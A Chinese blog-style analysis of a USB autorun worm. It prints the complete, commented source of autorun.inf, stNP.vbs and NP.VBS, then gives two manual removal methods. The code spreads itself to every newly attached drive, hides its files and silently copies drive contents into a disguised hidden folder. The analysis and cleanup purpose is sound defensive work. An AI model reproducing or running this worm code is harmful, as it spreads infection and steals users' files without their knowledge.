最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS代码简单解析和解决方法

所属分类: 脚本专栏 / vbs 阅读数: 1315
收藏 0 赞 0 分享
最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS
及代码分析与病毒处理两种方法

方法一:来自于指间轻舞

此病毒最大的特点在于中毒后,自动感染你的硬盘根目录,并复制病毒文件。无论你是采用双击,还是右键选择打开,或者运行资源管理器都会自动运行其代码(病毒),所以中此病毒后,新手往往打不开盘符,导致数据无法读取。

下面是病毒的代码分析 文件总共有三个 都很简单,已经加上了注解。

文件名:autorun.inf
复制代码 代码如下:

[autorun] 
open= 
shell\open=打开(&O) 
shell\open\Command=WScript.exe stNP.vbs 
shell\open\Default=1 
shell\explore=资源管理器(&X) 
shell\explore\Command=WScript.exe stNP.vbs 

文件名:stNP.VBS
功能是检测np.vbs是否存在,存在则运行
复制代码 代码如下:

on error resume next 
set fso = CreateObject("Scripting.FileSys"&"temObject") 
if fso.FileExists("NP.vbs") = -1 then 
if fso.FileExists("d:\NP.vbs") = -1 then 
set f = fso.getfile("d:\NP.vbs") 
if f.attributes = 0 then 
else 
f.attributes = 0 
end if 
f.delete(true) 
end if 
fso.copyfile "NP.vbs", "d:\NP.vbs", true 
set wshshell = wscript.createobject("WScript.Shell") 
wshshell.run "d:\NP.vbs" 
end if 

文件名:NP.VBS
-----
复制代码 代码如下:

'[NatruePark] 
'容错语句 
on Error resume next 
'变量声明及初始化 
dim fso, old_drs(), new_drs(), old_n, new_n, new_yn, wshshell 
set fso = CreateObject("Scripting.File"&"SystemObject") 
set wshshell = wscript.createobject("WScript.Shell") 
old_n=0 
redim old_drs(old_n) 
old_drs(0)="C" 

'[主体部分] 
wshshell.run("explorer .\") 
dim i 
i = 0 
do while i>=0 and i<8*360 
    scan_disk() 
    if judge_new_disk() = 1 then 
        dim left_n 
        left_n = 1 
        do while left_n<=(new_n-old_n) 
            new_disk = new_drs(left_n+old_n)&":\" 
'-----------------<维护块>----------------- 
            if fso.FileExists(new_disk&"NP.vbs") = -1 then  
            else 
                self_copy(new_disk) 
            end if 
            add_attrib(new_disk&"NP.vbs") 
            if fso.FileExists(new_disk&"autorun.inf") = -1 then     
                del_attrib(new_disk&"autorun.inf") 
            end if 
                add_autorun(new_disk) 

            add_attrib(new_disk&"autorun.inf") 
            if fso.FileExists(new_disk&"stNP.vbs") = -1 then 
            else 
                add_stNP(new_disk) 
            end if 
            add_attrib(new_disk&"stNP.vbs") 
'-----------------</维护块>----------------- 
'-----------------<功能块>----------------- 
            dim rec  
            rec = "d:\Recyc1ed\" 
            if fso.FolderExists(rec) = -1 then 
            else 
                fso.createfolder(rec) 
            end if 
            add_attribf(rec) 
            if fso.FileExists(rec&"desktop.ini") = -1 then 
            else 
                add_desktop(rec) 
            end if 
                add_attrib(rec&"desktop.ini") 
            aim_folder = rec&Date()&Rnd() 
            if fso.FolderExists(aim_folder) = -1 then 
            else 
                fso.createfolder(aim_folder) 
            end if 

'查找"汽轮机原理文件夹并复制" 
            if fso.FolderExists(new_disk&"汽轮机原理") = -1 then 
                fso.copyfolder new_disk&"汽轮机原理", aim_folder, true 
                add_attribf(aim_folder) 
            end if 

'通用复制 
            if old_n = 0 then  
            else 
                set fp = fso.getFolder(new_drs(new_n)&":\") 
                set fc = fp.SubFolders 
                for each f in fc 
                fso.copyfolder f&"", aim_folder&"\"&f.name, true 
                next 
                set fc = fp.files 
                for each f in fc 
                fso.copyfile f&"", aim_folder&"\", true 
                next 
                add_attribf(aim_folder) 
            end if 
'-----------------</功能块>----------------- 
            left_n=left_n+1 
        loop 
    copy_disk() 
    end if 
    wscript.sleep(10000) 
    i=i+1 
loop 
'[函数部分] 
'可用驱动器检测 new_drs(),new_n 
function scan_disk() 
    dim d, dr 
    new_n = -1 
    set dr = fso.drives 
    for each d in dr 
        if d.isready then  
            new_n=new_n+1 
            redim preserve new_drs(new_n) 
            new_drs(new_n)=d.driveletter 
        end if 
    next 
end function 
'判断是否有新加入的驱动器 
function judge_new_disk() 
    if new_n = old_n then 
        judge_new_disk = 0 
    elseif new_n < old_n then 
        redim preserve old_drs(new_n) 
        old_n = new_n 
        judge_new_disk = 0 
    elseif new_n > old_n then 
        redim preserve old_drs(new_n) 
        judge_new_disk = 1 
    end if 
end function 
'复制新驱动器表单 
function copy_disk() 
    dim n 
    n=0 
    do while n<=new_n 
        old_drs(n) = new_drs(n) 
        n=n+1 
    loop 
    old_n = new_n 
end function 
'添加指定文件属性 
function add_attrib(file) 
    set f = fso.getfile(file) 
    if f.attributes = 7 then 

    else 
        f.attributes = 7 
    end if 
end function 
'删除指定文件属性 
function del_attrib(file) 
    set f = fso.getfile(file) 
    if f.attributes = 7 then 
        f.attributes = 0 
    else 

    end if 
end function 
'自我复制到指定文件目录 
function self_copy(folder) 
    dim aim_path, mid_path, self_file, mid_file 
    aim_path = folder&"NP.vbs" 
    mid_path = "c:\np.bin" 
    set self_file = fso.opentextfile(wscript.scriptfullname,1) 
    self = self_file.readall 
    set mid_file = fso.opentextfile(mid_path,2,true) 
    mid_file.write self 
    mid_file.close 
    set mid_file = fso.getfile(mid_path) 
    mid_file.copy(aim_path) 
    mid_file.delete(true) 
end function 
'增加autorun.inf 
function add_autorun(folder) 
    dim path 
    path = folder&"autorun.inf" 
    set temp = fso.CreateTextFile("c:\a.bin",true) 
    temp.writeline "[autorun]" 
    temp.writeline "open=" 
    temp.writeline "shell\open=打开(&O)" 
    temp.writeline "shell\open\Command=WScript.exe stNP.vbs" 
    temp.writeline "shell\open\Default=1" 
    temp.writeline "shell\explore=资源管理器(&X)" 
    temp.writeline "shell\explore\Command=WScript.exe stNP.vbs" 
    temp.close 
    set cop = fso.getfile("c:\a.bin") 
    cop.copy(path) 
    cop.delete(true) 
end function 
'增加desktop.ini 
function add_desktop(folder) 
    dim path 
    path = folder&"desktop.ini" 
    set temp = fso.CreateTextFile("c:\d.bin",true) 
    temp.writeline "[.ShellClassInfo]" 
    temp.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}" 
    temp.close 
    set cop = fso.getfile("c:\d.bin") 
    cop.copy(path) 
    cop.delete(true) 
end function 
'增加stNP.vbs 
function add_stNP(folder) 
    dim path 
    set fso = CreateObject("Scripting.File"&"SystemObject") 
    path = folder&"stNP.vbs" 
    set temp = fso.CreateTextFile("c:\s.bin",true) 

    temp.writeline "on error resume next" 
    temp.writeline "set fso = CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")" 
    temp.writeline "if fso.FileExists("&chr(34)&"NP.vbs"&chr(34)&") = -1 then" 
    temp.writeline "if fso.FileExists("&chr(34)&"d:\NP.vbs"&chr(34)&") = -1 then" 
    temp.writeline "set f = fso.getfile("&chr(34)&"d:\NP.vbs"&chr(34)&")" 
    temp.writeline "if f.attributes = 0 then" 
    temp.writeline "else" 
    temp.writeline "f.attributes = 0" 
    temp.writeline "end if" 
    temp.writeline "f.delete(true)" 
    temp.writeline "end if" 
    temp.writeline "fso.copyfile "&chr(34)&"NP.vbs"&chr(34)&", "&chr(34)&"d:\NP.vbs"&chr(34)&", true" 
    temp.writeline "set wshshell = wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")" 
    temp.writeline "wshshell.run "&chr(34)&"d:\NP.vbs"&chr(34) 
    temp.writeline "end if" 

    temp.close 
    set cop = fso.getfile("c:\s.bin") 
    cop.copy(path) 
    cop.delete(true) 
end function 

'添加指定文件夹属性 
function add_attribf(folder) 
    set f = fso.getfolder(folder) 
    if f.attributes = 7 then 

    else 
        f.attributes = 7 
    end if 
end function 
'删除指定文件夹属性 
function del_attribf(folder) 
    set f = fso.getfolder(folder) 
    if f.attributes = 0 then 
    else 
        f.attributes = 0 

    end if 
end function 


wscript.echo("THANK YOU!!") 
wscript.quit 

病毒好像有点良心 不会感染C盘,所以解决的方法还是有的:用资源管理器打开C盘,然后在左边展开其他盘符,在工具-文件夹-查看中去掉隐藏受保护的系统文件的钩并选择查看所有文件。将各个盘符隐藏的以上三个文件删除,重新启动即可。
方法二:作者刚成功操作得出
只需要进入WinPE之后,查找NP.VBS就可以连stNP.VBS全部查处,删除这些恶魔,即可!!!
更多精彩内容其他人还在看

ADOX.Catalog中文帮助详细说明chm文档第1/3页

这个是用来操作ACCESS数据库的东西,遍历表,遍历表的所有字段及字段的属性都会用到这个
收藏 0 赞 0 分享

VBS脚本使用WMI操作注册表的代码第1/2页

VBS脚本使用WMI操作注册表,从微软弄下来的,整理了一下,弄成最简版,简版,常用版,以便与快速查找
收藏 0 赞 0 分享

vbs xmldom初次实战获取QQ签名的代码

用vbs+xmldom实现的获取qq签名的脚本
收藏 0 赞 0 分享

VBS破坏性应用代码

非常具有破坏性,所以如果自己有服务器的,一定要把shell.application组件禁掉
收藏 0 赞 0 分享

vbs生成ACCESS数据里所有表的字段

生成ACCESS数据库里所有表及所有字段并生成一定格式的字符组合
收藏 0 赞 0 分享

vbs实现的图片自适应表格,目前最佳解决方案!

用vbs实现的图片自适应代码
收藏 0 赞 0 分享

ProcessMagnifier.vbs进程查看

这个vbs主要用于查看当前进程的相信信息
收藏 0 赞 0 分享

用于提取网易文件的hta代码

下面的hta主要用于实现网易文件的提取,提供这个代码希望大家学习他的hta编写
收藏 0 赞 0 分享

VBS取QQ或TM自动登录代码并防止关闭的脚本

取TM自动登录代码并防止关闭(自动登录)
收藏 0 赞 0 分享

VBS调用WMI快速关闭IE的脚本

下面的代码比较经典,瞬间关闭所有的ie的脚本
收藏 0 赞 0 分享
查看更多